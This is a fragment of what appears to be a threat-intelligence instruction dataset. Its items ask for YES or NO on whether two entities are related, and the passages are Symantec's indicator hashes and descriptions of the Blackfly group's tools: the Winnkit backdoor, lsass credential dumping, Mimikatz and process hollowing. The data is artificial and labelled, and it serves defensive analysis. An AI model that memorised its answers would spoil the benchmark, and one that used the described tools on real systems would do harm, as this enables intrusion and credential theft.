ForkPlayground\n5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f \u2013 Proxy configuration tool\nd4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee \u2013 Proxy configuration tool\nf138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f \u2013 Proxy configuration tool\n88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4 \u2013 Proxy configuration tool\n498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1 \u2013 Proxy configuration tool\n100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c \u2013 Credential-dumping tool\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\na3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac\n### Target Entity: Winnkit\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\ncf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a \u2013 Backdoor.Winnkit\ne1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596 \u2013 Backdoor.Winnkit\na3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac \u2013 Backdoor.Winnkit\n714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196 \u2013 Backdoor.Winnkit\n192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284 \u2013 Backdoor.Winnkit\ncaba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459 \u2013 Backdoor.Winnkit\n452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4 \u2013 Screenshotting tool\n1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e \u2013 Process-hollowing tool\n4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d \u2013 SQL tool\n560ea79a96dc4f459e96df379b00b59828639b02bd7a7a9964b06d04cb43a35a \u2013 DCSync\nb28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c \u2013 Mimikatz\na3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864 \u2013 ForkPlayground\n5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f \u2013 Proxy configuration tool\nd4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee \u2013 Proxy configuration tool\nf138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f \u2013 Proxy configuration tool\n88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4 \u2013 Proxy configuration tool\n498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1 \u2013 Proxy configuration tool\n100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c \u2013 Credential-dumping tool\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4\n### Target Entity: Proxy configuration tool\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\ncf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a \u2013 Backdoor.Winnkit\ne1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596 \u2013 Backdoor.Winnkit\na3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac \u2013 Backdoor.Winnkit\n714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196 \u2013 Backdoor.Winnkit\n192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284 \u2013 Backdoor.Winnkit\ncaba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459 \u2013 Backdoor.Winnkit\n452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4 \u2013 Screenshotting tool\n1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e \u2013 Process-hollowing tool\n4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d \u2013 SQL tool\n560ea79a96dc4f459e96df379b00b59828639b02bd7a7a9964b06d04cb43a35a \u2013 DCSync\nb28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c \u2013 Mimikatz\na3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864 \u2013 ForkPlayground\n5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f \u2013 Proxy configuration tool\nd4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee \u2013 Proxy configuration tool\nf138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f \u2013 Proxy configuration tool\n88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4 \u2013 Proxy configuration tool\n498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1 \u2013 Proxy configuration tool\n100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c \u2013 Credential-dumping tool\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196\n### Target Entity: Winnkit\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\ncf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a \u2013 Backdoor.Winnkit\ne1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596 \u2013 Backdoor.Winnkit\na3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac \u2013 Backdoor.Winnkit\n714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196 \u2013 Backdoor.Winnkit\n192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284 \u2013 Backdoor.Winnkit\ncaba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459 \u2013 Backdoor.Winnkit\n452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4 \u2013 Screenshotting tool\n1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e \u2013 Process-hollowing tool\n4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d \u2013 SQL tool\n560ea79a96dc4f459e96df379b00b59828639b02bd7a7a9964b06d04cb43a35a \u2013 DCSync\nb28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c \u2013 Mimikatz\na3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864 \u2013 ForkPlayground\n5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f \u2013 Proxy configuration tool\nd4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee \u2013 Proxy configuration tool\nf138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f \u2013 Proxy configuration tool\n88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4 \u2013 Proxy configuration tool\n498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1 \u2013 Proxy configuration tool\n100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c \u2013 Credential-dumping tool\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nb28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c\n### Target Entity: Mimikatz\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\ncf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a \u2013 Backdoor.Winnkit\ne1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596 \u2013 Backdoor.Winnkit\na3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac \u2013 Backdoor.Winnkit\n714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196 \u2013 Backdoor.Winnkit\n192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284 \u2013 Backdoor.Winnkit\ncaba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459 \u2013 Backdoor.Winnkit\n452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4 \u2013 Screenshotting tool\n1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e \u2013 Process-hollowing tool\n4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d \u2013 SQL tool\n560ea79a96dc4f459e96df379b00b59828639b02bd7a7a9964b06d04cb43a35a \u2013 DCSync\nb28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c \u2013 Mimikatz\na3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864 \u2013 ForkPlayground\n5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f \u2013 Proxy configuration tool\nd4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee \u2013 Proxy configuration tool\nf138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f \u2013 Proxy configuration tool\n88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4 \u2013 Proxy configuration tool\n498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1 \u2013 Proxy configuration tool\n100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c \u2013 Credential-dumping tool\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\ne1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596\n### Target Entity: Winnkit\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\ncf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a \u2013 Backdoor.Winnkit\ne1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596 \u2013 Backdoor.Winnkit\na3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac \u2013 Backdoor.Winnkit\n714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196 \u2013 Backdoor.Winnkit\n192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284 \u2013 Backdoor.Winnkit\ncaba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459 \u2013 Backdoor.Winnkit\n452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4 \u2013 Screenshotting tool\n1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e \u2013 Process-hollowing tool\n4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d \u2013 SQL tool\n560ea79a96dc4f459e96df379b00b59828639b02bd7a7a9964b06d04cb43a35a \u2013 DCSync\nb28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c \u2013 Mimikatz\na3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864 \u2013 ForkPlayground\n5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f \u2013 Proxy configuration tool\nd4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee \u2013 Proxy configuration tool\nf138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f \u2013 Proxy configuration tool\n88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4 \u2013 Proxy configuration tool\n498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1 \u2013 Proxy configuration tool\n100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c \u2013 Credential-dumping tool\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nd4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee\n### Target Entity: Proxy configuration tool\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\ncf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a \u2013 Backdoor.Winnkit\ne1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596 \u2013 Backdoor.Winnkit\na3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac \u2013 Backdoor.Winnkit\n714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196 \u2013 Backdoor.Winnkit\n192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284 \u2013 Backdoor.Winnkit\ncaba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459 \u2013 Backdoor.Winnkit\n452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4 \u2013 Screenshotting tool\n1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e \u2013 Process-hollowing tool\n4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d \u2013 SQL tool\n560ea79a96dc4f459e96df379b00b59828639b02bd7a7a9964b06d04cb43a35a \u2013 DCSync\nb28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c \u2013 Mimikatz\na3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864 \u2013 ForkPlayground\n5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f \u2013 Proxy configuration tool\nd4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee \u2013 Proxy configuration tool\nf138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f \u2013 Proxy configuration tool\n88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4 \u2013 Proxy configuration tool\n498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1 \u2013 Proxy configuration tool\n100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c \u2013 Credential-dumping tool\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nd4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee\n### Target Entity: 1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\ncf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a \u2013 Backdoor.Winnkit\ne1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596 \u2013 Backdoor.Winnkit\na3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac \u2013 Backdoor.Winnkit\n714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196 \u2013 Backdoor.Winnkit\n192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284 \u2013 Backdoor.Winnkit\ncaba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459 \u2013 Backdoor.Winnkit\n452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4 \u2013 Screenshotting tool\n1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e \u2013 Process-hollowing tool\n4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d \u2013 SQL tool\n560ea79a96dc4f459e96df379b00b59828639b02bd7a7a9964b06d04cb43a35a \u2013 DCSync\nb28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c \u2013 Mimikatz\na3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864 \u2013 ForkPlayground\n5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f \u2013 Proxy configuration tool\nd4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee \u2013 Proxy configuration tool\nf138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f \u2013 Proxy configuration tool\n88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4 \u2013 Proxy configuration tool\n498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1 \u2013 Proxy configuration tool\n100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c \u2013 Credential-dumping tool\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f\n### Target Entity: Proxy configuration tool\n### Text Passage:\nCurrent Blackfly toolset\nThe following tools were used in attacks during late 2022 and early 2023:\n* **Backdoor.Winnkit**\nSHA256: caba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459\nSHA256: cf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a\nSHA256: e1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596\nSHA256: a3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac\nSHA256: 714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196\nSHA256: 192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284\nRootkit driver known to be associated with Blackfly\n* **Credential-dumping tool**\nSHA256: 100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c\nCreates a dump of credentials from lsass.exe in C:\\windows\\temp\\1.bin.\n* **Screenshotting tool**\nSHA256: 452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4\nScreenshots all open windows and saves them as .jpg files.\n* **Process-hollowing tool**\nSHA256: 1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e\nInjects shellcode in C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted. The shellcode is a simple \"Hello World\" alert message.\n* **SQL tool**\nSHA256: 4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d\nSQL client tool used to query SQL databases.\n* **Mimikatz**\nSHA256: b28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c\nPublicly available credential-dumping tool.\n* **ForkPlayground**\nSHA256: a3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864\nProof-of-Concept application to create a memory dump of an arbitrary process using the ForkLib.\n* **Proxy configuration tool**\nSHA256: 5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f\nSHA256: d4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee\nSHA256: f138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f\nConfigures proxy settings by injecting into: C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted.\n* **Proxy configuration tool**\nSHA256: 88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4\nSHA256: 498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1\nThis tool requires a file called conf.dat to run properly, located at: c:\\users\\public\\conf.dat. Conf.dat contains the configuration to set up proxy settings.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\ncf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a\n### Target Entity: Winnkit\n### Text Passage:\nCurrent Blackfly toolset\nThe following tools were used in attacks during late 2022 and early 2023:\n* **Backdoor.Winnkit**\nSHA256: caba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459\nSHA256: cf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a\nSHA256: e1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596\nSHA256: a3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac\nSHA256: 714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196\nSHA256: 192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284\nRootkit driver known to be associated with Blackfly\n* **Credential-dumping tool**\nSHA256: 100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c\nCreates a dump of credentials from lsass.exe in C:\\windows\\temp\\1.bin.\n* **Screenshotting tool**\nSHA256: 452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4\nScreenshots all open windows and saves them as .jpg files.\n* **Process-hollowing tool**\nSHA256: 1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e\nInjects shellcode in C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted. The shellcode is a simple \"Hello World\" alert message.\n* **SQL tool**\nSHA256: 4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d\nSQL client tool used to query SQL databases.\n* **Mimikatz**\nSHA256: b28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c\nPublicly available credential-dumping tool.\n* **ForkPlayground**\nSHA256: a3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864\nProof-of-Concept application to create a memory dump of an arbitrary process using the ForkLib.\n* **Proxy configuration tool**\nSHA256: 5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f\nSHA256: d4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee\nSHA256: f138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f\nConfigures proxy settings by injecting into: C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted.\n* **Proxy configuration tool**\nSHA256: 88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4\nSHA256: 498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1\nThis tool requires a file called conf.dat to run properly, located at: c:\\users\\public\\conf.dat. Conf.dat contains the configuration to set up proxy settings.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nconf.dat\n### Target Entity: Proxy configuration tool\n### Text Passage:\nCurrent Blackfly toolset\nThe following tools were used in attacks during late 2022 and early 2023:\n* **Backdoor.Winnkit**\nSHA256: caba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459\nSHA256: cf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a\nSHA256: e1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596\nSHA256: a3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac\nSHA256: 714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196\nSHA256: 192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284\nRootkit driver known to be associated with Blackfly\n* **Credential-dumping tool**\nSHA256: 100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c\nCreates a dump of credentials from lsass.exe in C:\\windows\\temp\\1.bin.\n* **Screenshotting tool**\nSHA256: 452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4\nScreenshots all open windows and saves them as .jpg files.\n* **Process-hollowing tool**\nSHA256: 1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e\nInjects shellcode in C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted. The shellcode is a simple \"Hello World\" alert message.\n* **SQL tool**\nSHA256: 4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d\nSQL client tool used to query SQL databases.\n* **Mimikatz**\nSHA256: b28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c\nPublicly available credential-dumping tool.\n* **ForkPlayground**\nSHA256: a3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864\nProof-of-Concept application to create a memory dump of an arbitrary process using the ForkLib.\n* **Proxy configuration tool**\nSHA256: 5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f\nSHA256: d4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee\nSHA256: f138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f\nConfigures proxy settings by injecting into: C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted.\n* **Proxy configuration tool**\nSHA256: 88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4\nSHA256: 498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1\nThis tool requires a file called conf.dat to run properly, located at: c:\\users\\public\\conf.dat. Conf.dat contains the configuration to set up proxy settings.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n1.bin\n### Target Entity: Credential-dumping tool\n### Text Passage:\nCurrent Blackfly toolset\nThe following tools were used in attacks during late 2022 and early 2023:\n* **Backdoor.Winnkit**\nSHA256: caba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459\nSHA256: cf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a\nSHA256: e1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596\nSHA256: a3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac\nSHA256: 714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196\nSHA256: 192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284\nRootkit driver known to be associated with Blackfly\n* **Credential-dumping tool**\nSHA256: 100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c\nCreates a dump of credentials from lsass.exe in C:\\windows\\temp\\1.bin.\n* **Screenshotting tool**\nSHA256: 452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4\nScreenshots all open windows and saves them as .jpg files.\n* **Process-hollowing 